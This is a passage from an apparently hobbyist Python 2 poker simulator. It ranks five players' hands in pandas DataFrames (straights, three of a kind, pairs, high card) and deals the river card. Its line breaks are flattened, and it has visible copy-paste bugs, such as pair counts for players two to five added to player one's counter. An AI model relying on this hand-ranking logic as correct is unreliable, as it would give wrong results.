df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] list[5] = df4.iloc[i * 4 + k - 1, 11] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == \ list[4]: a4 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a4 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] list[5] = df4.iloc[i * 4 + k - 1, 11] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a4 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a4 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # P5 Evaluation # With Ace Low list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] list[5] = df5.iloc[i * 4 + k - 1, 11] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == \ list[4]: a5 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a5 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] list[5] = df5.iloc[i * 4 + k - 1, 11] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a5 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a5 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # Check for Straight if (SF > 0): print "Straight" b = max(a1, a2, a3, a4, a5) if a1 == b: df1.iloc[i * 4 + k - 1, 14] = 1 if a2 == b: df2.iloc[i * 4 + k - 1, 14] = 1 if a3 == b: df3.iloc[i * 4 + k - 1, 14] = 1 if a4 == b: df4.iloc[i * 4 + k - 1, 14] = 1 if a5 == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Check for 3 of a kind FH = 0 a1i = 0 a2i = 0 a3i = 0 a4i = 0 a5i = 0 # Evaluate for P1 list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] list[5] = df1.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 3: FH = FH + 1 a1i = m break # Evaluate for P2 list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] list[5] = df2.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 3: FH = FH + 1 a2i = m break # Evaluate for P3 list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] list[5] = df3.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 3: FH = FH + 1 a3i = m break # Evaluate for P4 list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] list[5] = df4.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 3: FH = FH + 1 a4i = m break # Evaluate for P5 list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] list[5] = df5.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 3: FH = FH + 1 a5i = m break # Evaluating for 3 of a kind if (FH > 0): print "3 of a kind" b = max(a1i, a2i, a3i, a4i, a5i) if a1i == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif a2i == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif a3i == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif a4i == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif a5i == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Evaluate for two pair and one pair f1 = [0] f2 = [0] f3 = [0] f4 = [0] f5 = [0] a1 = [0] a2 = [0] a3 = [0] a4 = [0] a5 = [0] Fin = 0 # Evaluate P1 TP1 = 0 list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] list[5] = df1.iloc[i * 4 + k - 1, 11] if (list[0] == list[2] or list[0] == list[3] or list[ 0] == list[4] or list[0] == list[5]): TP1 = TP1 + 1 f1.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[4] or list[1] == list[5]): TP1 = TP1 + 1 f1.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f1.append(list[1]) if TP1 > 1: f1 = np.sort(f1[::-1]).tolist() a1.append(f1[0]) a1.append(f1[1]) Fin = Fin + 1 # Evaluate P2 TP2 = 0 list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] list[5] = df2.iloc[i * 4 + k - 1, 11] if (list[0] == list[2] or list[0] == list[3] or list[0] == list[4] or list[0] == list[5]): TP2 = TP2 + 1 f2.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[4] or list[1] == list[5]): TP2 = TP2 + 1 f2.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f2.append(list[1]) if TP2 > 1: f2 = np.sort(f2[::-1]).tolist() a2.append(f2[0]) a2.append(f2[1]) Fin = Fin + 1 # Evaluate P3 TP3 = 0 list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] list[5] = df3.iloc[i * 4 + k - 1, 11] if (list[0] == list[2] or list[0] == list[ 3] or list[0] == list[4] or list[0] == list[5]): TP3 = TP3 + 1 f3.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[4] or list[1] == list[5]): TP3 = TP3 + 1 f3.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f3.append(list[1]) if TP3 > 1: f3 = np.sort(f3[::-1]).tolist() a3.append(f3[0]) a3.append(f3[1]) Fin = Fin + 1 # Evaluate P4 TP4 = 0 list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] list[5] = df4.iloc[i * 4 + k - 1, 11] if (list[0] == list[2] or list[0] == list[ 3] or list[0] == list[4] or list[0] == list[5]): TP4 = TP4 + 1 f4.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[ 4] or list[1] == list[5]): TP4 = TP4 + 1 f4.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f4.append(list[1]) if TP4 > 1: f4 = np.sort(f4[::-1]).tolist() a4.append(f4[0]) a4.append(f4[1]) Fin = Fin + 1 # Evaluate P5 TP5 = 0 list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] list[5] = df5.iloc[i * 4 + k - 1, 11] if (list[0] == list[2] or list[0] == list[3] or list[0] == list[4] or list[0] == list[5]): TP5 = TP5 + 1 f5.append(list[0]) if (list[1] == list[2] or list[1] == list[3] or list[1] == list[4] or list[1] == list[5]): TP5 = TP5 + 1 f5.append(list[1]) if (list[0] == list[1]): TP1 = TP1 + 1 f5.append(list[1]) if TP5 > 1: f5 = np.sort(f5[::-1]).tolist() a5.append(f5[0]) a5.append(f5[1]) Fin = Fin + 1 #Check for two pair if Fin > 0: print "Two pair" b = max(max(a1),max(a2),max(a3),max(a4),max(a5)) if max(a1) == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif max(a2) == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif max(a3) == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif max(a4) == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif max(a5) == b: df5.iloc[i * 4 + k - 1, 14] = 1 #Check for one pair elif TP1+TP2+TP3+TP4+TP5 > 0: print "One pair" b = max(max(f1),max(f2),max(f3),max(f4),max(f5)) if max(f1) == b: df1.iloc[i * 4 + k - 1, 14] = 1 if max(f2) == b: df2.iloc[i * 4 + k - 1, 14] = 1 if max(f3) == b: df3.iloc[i * 4 + k - 1, 14] = 1 if max(f4) == b: df4.iloc[i * 4 + k - 1, 14] = 1 if max(f5) == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Find the high card print "High Card" winner = max(df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 3] ) if df1.iloc[i * 4 + k - 1, 1] == winner or df1.iloc[ i * 4 + k - 1, 3] == winner: df1.iloc[i * 4 + k - 1, 14] = 1 if df2.iloc[i * 4 + k - 1, 1] == winner or df2.iloc[ i * 4 + k - 1, 3] == winner: df2.iloc[i * 4 + k - 1, 14] = 1 if df3.iloc[i * 4 + k - 1, 1] == winner or df3.iloc[ i * 4 + k - 1, 3] == winner: df3.iloc[i * 4 + k - 1, 14] = 1 if df4.iloc[i * 4 + k - 1, 1] == winner or df4.iloc[ i * 4 + k - 1, 3] == winner: df4.iloc[i * 4 + k - 1, 14] = 1 if df5.iloc[i * 4 + k - 1, 1] == winner or df5.iloc[ i * 4 + k - 1, 3] == winner: df5.iloc[i * 4 + k - 1, 14] = 1 if k == 4: #Create the River df1.loc[i * 4 + k-1] = df1.loc[i * 4 + k - 2] df2.loc[i * 4 + k - 1] = df2.loc[i * 4 + k - 2] df3.loc[i * 4 + k - 1] = df3.loc[i * 4 + k - 2] df4.loc[i * 4 + k - 1] = df4.loc[i * 4 + k - 2] df5.loc[i * 4 + k - 1] = df5.loc[i * 4 + k - 2] while x == 0: print "Step 14" # Generate 5th community card or the river df1.iloc[i * 4 + k-1][12] = random.randrange(1, 5) df1.iloc[i * 4 + k-1][13] = random.randrange(2, 15) df2.iloc[i * 4 + k - 1][12] = df1.iloc[i * 4 + k - 1][12] df2.iloc[i * 4 + k - 1][13] = df1.iloc[i * 4 + k - 1][13] df3.iloc[i * 4 + k - 1][12] = df1.iloc[i * 4 + k - 1][12] df3.iloc[i * 4 + k - 1][13] = df1.iloc[i * 4 + k - 1][13] df4.iloc[i * 4 + k - 1][12] = df1.iloc[i * 4 + k - 1][12] df4.iloc[i * 4 + k - 1][13] = df1.iloc[i * 4 + k - 1][13] df5.iloc[i * 4 + k - 1][12] = df1.iloc[i * 4 + k - 1][12] df5.iloc[i * 4 + k - 1][13] = df1.iloc[i * 4 + k - 1][13] # Check if this card is already generated in this game, then re-generate if (df1.iloc[i * 4 + k - 1, 12] == df1.iloc[i * 4 + k - 1, 10] and df1.iloc[i * 4 + k - 1, 13] == df1.iloc[i * 4 + k - 1, 11]) \ or (df1.iloc[i * 4 + k - 1, 12] == df1.iloc[i * 4 + k - 1, 8] and df1.iloc[ i * 4 + k - 1, 13] == df1.iloc[i * 4 + k - 1, 9]) \ or (df1.iloc[i * 4 + k - 1, 12] == df1.iloc[i * 4 + k - 1, 6] and df1.iloc[ i * 4 + k - 1, 13] == df1.iloc[i * 4 + k - 1, 7]) \ or (df1.iloc[i * 4 + k - 1, 12] == df1.iloc[i * 4 + k - 1, 4] and df1.iloc[ i * 4 + k - 1, 13] == df1.iloc[i * 4 + k - 1, 5]) \ or (df1.iloc[i * 4 + k - 1, 12] == df1.iloc[i * 4 + k - 1, 2] and df1.iloc[ i * 4 + k - 1, 13] == df1.iloc[i * 4 + k - 1, 3]) \ or (df1.iloc[i * 4 + k - 1, 12] == df1.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 13] == df1.iloc[i * 4 + k - 1, 1])\ or (df1.iloc[i * 4 + k - 1, 12] == df2.iloc[i * 4 + k - 1, 2] and df1.iloc[ i * 4 + k - 1, 13] == df2.iloc[i * 4 + k - 1, 3])\ or (df1.iloc[i * 4 + k - 1, 12] == df3.iloc[i * 4 + k - 1, 2] and df1.iloc[ i * 4 + k - 1, 13] == df3.iloc[i * 4 + k - 1, 3])\ or (df1.iloc[i * 4 + k - 1, 12] == df4.iloc[i * 4 + k - 1, 2] and df1.iloc[ i * 4 + k - 1, 13] == df4.iloc[i * 4 + k - 1, 3])\ or (df1.iloc[i * 4 + k - 1, 12] == df5.iloc[i * 4 + k - 1, 2] and df1.iloc[ i * 4 + k - 1, 13] == df5.iloc[i * 4 + k - 1, 3]) \ or (df1.iloc[i * 4 + k - 1, 12] == df2.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 13] == df2.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 12] == df3.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 13] == df3.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 12] == df4.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 13] == df4.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 12] == df5.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 13] == df5.iloc[i * 4 + k - 1, 1]): continue else: x = 1 #Evaluate river round list = [[-1, -1], [-1, -1], [-1, -1], [-1, -1], [-1, -1], [-1, -1], [-1, -1]] df1.iloc[i * 4 + k - 1, 14] = 0 df2.iloc[i * 4 + k - 1, 14] = 0 df3.iloc[i * 4 + k - 1, 14] = 0 df4.iloc[i * 4 + k - 1, 14] = 0 df5.iloc[i * 4 + k - 1, 14] = 0 # Straight Flush Evaluation SF = 0 a1 = 0 a2 = 0 a3 = 0 a4 = 0 a5 = 0 # P1 Evaluation #With Ace Low list[0] = [df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 0]] list[1] = [df1.iloc[i * 4 + k - 1, 3], df1.iloc[i * 4 + k - 1, 2]] list[2] = [df1.iloc[i * 4 + k - 1, 5], df1.iloc[i * 4 + k - 1, 4]] list[3] = [df1.iloc[i * 4 + k - 1, 7], df1.iloc[i * 4 + k - 1, 6]] list[4] = [df1.iloc[i * 4 + k - 1, 9], df1.iloc[i * 4 + k - 1, 8]] list[5] = [df1.iloc[i * 4 + k - 1, 11], df1.iloc[i * 4 + k - 1, 10]] list[6] = [df1.iloc[i * 4 + k - 1, 13], df1.iloc[i * 4 + k - 1, 12]] for m in range(0, 7): if list[m][0] == 14: list[m][0] = 1 list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1]: a1 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1]: a1 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[5][0] and list[5][0]+1 == list[ 6][0] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1] and list[5][1] == list[6][1]: a1 = max(list[5][0], list[6][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # With Ace High list[0] = [df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 0]] list[1] = [df1.iloc[i * 4 + k - 1, 3], df1.iloc[i * 4 + k - 1, 2]] list[2] = [df1.iloc[i * 4 + k - 1, 5], df1.iloc[i * 4 + k - 1, 4]] list[3] = [df1.iloc[i * 4 + k - 1, 7], df1.iloc[i * 4 + k - 1, 6]] list[4] = [df1.iloc[i * 4 + k - 1, 9], df1.iloc[i * 4 + k - 1, 8]] list[5] = [df1.iloc[i * 4 + k - 1, 11], df1.iloc[i * 4 + k - 1, 10]] list[6] = [df1.iloc[i * 4 + k - 1, 13], df1.iloc[i * 4 + k - 1, 12]] list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1]: a1 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1]: a1 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[5][0] and list[5][0]+1 == list[ 6][0] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1] and list[5][1] == list[6][1]: a1 = max(list[5][0], list[6][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # P2 Evaluation # With Ace Low list[0] = [df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 0]] list[1] = [df2.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 2]] list[2] = [df2.iloc[i * 4 + k - 1, 5], df2.iloc[i * 4 + k - 1, 4]] list[3] = [df2.iloc[i * 4 + k - 1, 7], df2.iloc[i * 4 + k - 1, 6]] list[4] = [df2.iloc[i * 4 + k - 1, 9], df2.iloc[i * 4 + k - 1, 8]] list[5] = [df2.iloc[i * 4 + k - 1, 11], df2.iloc[i * 4 + k - 1, 10]] list[6] = [df2.iloc[i * 4 + k - 1, 13], df2.iloc[i * 4 + k - 1, 12]] for m in range(0, 7): if list[m][0] == 14: list[m][0] = 1 list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][ 0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1]: a2 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][ 0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and \ list[4][1] == list[5][1]: a2 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[5][ 0] and list[5][0] + 1 == list[ 6][0] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1] and \ list[5][1] == list[6][1]: a2 = max(list[5][0], list[6][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # With Ace High list[0] = [df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 0]] list[1] = [df2.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 2]] list[2] = [df2.iloc[i * 4 + k - 1, 5], df2.iloc[i * 4 + k - 1, 4]] list[3] = [df2.iloc[i * 4 + k - 1, 7], df2.iloc[i * 4 + k - 1, 6]] list[4] = [df2.iloc[i * 4 + k - 1, 9], df2.iloc[i * 4 + k - 1, 8]] list[5] = [df2.iloc[i * 4 + k - 1, 11], df2.iloc[i * 4 + k - 1, 10]] list[6] = [df2.iloc[i * 4 + k - 1, 13], df2.iloc[i * 4 + k - 1, 12]] list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][ 0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and \ list[3][1] == list[4][1]: a2 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][ 0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and \ list[4][1] == list[5][1]: a2 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[5][ 0] and list[5][0] + 1 == list[ 6][0] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1] and \ list[5][1] == list[6][1]: a2 = max(list[5][0], list[6][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # P3 Evaluation # With Ace Low list[0] = [df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 0]] list[1] = [df3.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 2]] list[2] = [df3.iloc[i * 4 + k - 1, 5], df3.iloc[i * 4 + k - 1, 4]] list[3] = [df3.iloc[i * 4 + k - 1, 7], df3.iloc[i * 4 + k - 1, 6]] list[4] = [df3.iloc[i * 4 + k - 1, 9], df3.iloc[i * 4 + k - 1, 8]] list[5] = [df3.iloc[i * 4 + k - 1, 11], df3.iloc[i * 4 + k - 1, 10]] list[6] = [df3.iloc[i * 4 + k - 1, 13], df3.iloc[i * 4 + k - 1, 12]] for m in range(0, 7): if list[m][0] == 14: list[m][0] = 1 list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][ 0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and \ list[3][1] == list[4][1]: a3 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][ 0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and \ list[4][1] == list[5][1]: a3 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[5][ 0] and list[5][0] + 1 == list[ 6][0] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1] and \ list[5][1] == list[6][1]: a3 = max(list[5][0], list[6][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # With Ace High list[0] = [df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 0]] list[1] = [df3.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 2]] list[2] = [df3.iloc[i * 4 + k - 1, 5], df3.iloc[i * 4 + k - 1, 4]] list[3] = [df3.iloc[i * 4 + k - 1, 7], df3.iloc[i * 4 + k - 1, 6]] list[4] = [df3.iloc[i * 4 + k - 1, 9], df3.iloc[i * 4 + k - 1, 8]] list[5] = [df3.iloc[i * 4 + k - 1, 11], df3.iloc[i * 4 + k - 1, 10]] list[6] = [df3.iloc[i * 4 + k - 1, 13], df3.iloc[i * 4 + k - 1, 12]] list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][ 0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and \ list[3][1] == list[4][1]: a3 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][ 0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and \ list[4][1] == list[5][1]: a3 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[5][ 0] and list[5][0] + 1 == list[ 6][0] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1] and \ list[5][1] == list[6][1]: a3 = max(list[5][0], list[6][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # P4 Evaluation # With Ace Low list[0] = [df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 0]] list[1] = [df4.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 2]] list[2] = [df4.iloc[i * 4 + k - 1, 5], df4.iloc[i * 4 + k - 1, 4]] list[3] = [df4.iloc[i * 4 + k - 1, 7], df4.iloc[i * 4 + k - 1, 6]] list[4] = [df4.iloc[i * 4 + k - 1, 9], df4.iloc[i * 4 + k - 1, 8]] list[5] = [df4.iloc[i * 4 + k - 1, 11], df4.iloc[i * 4 + k - 1, 10]] list[6] = [df4.iloc[i * 4 + k - 1, 13], df4.iloc[i * 4 + k - 1, 12]] for m in range(0, 7): if list[m][0] == 14: list[m][0] = 1 list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][ 0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and \ list[3][1] == list[4][1]: a4 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][ 0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and \ list[4][1] == list[5][1]: a4 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[5][ 0] and list[5][0] + 1 == list[ 6][0] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1] and \ list[5][1] == list[6][1]: a4 = max(list[5][0], 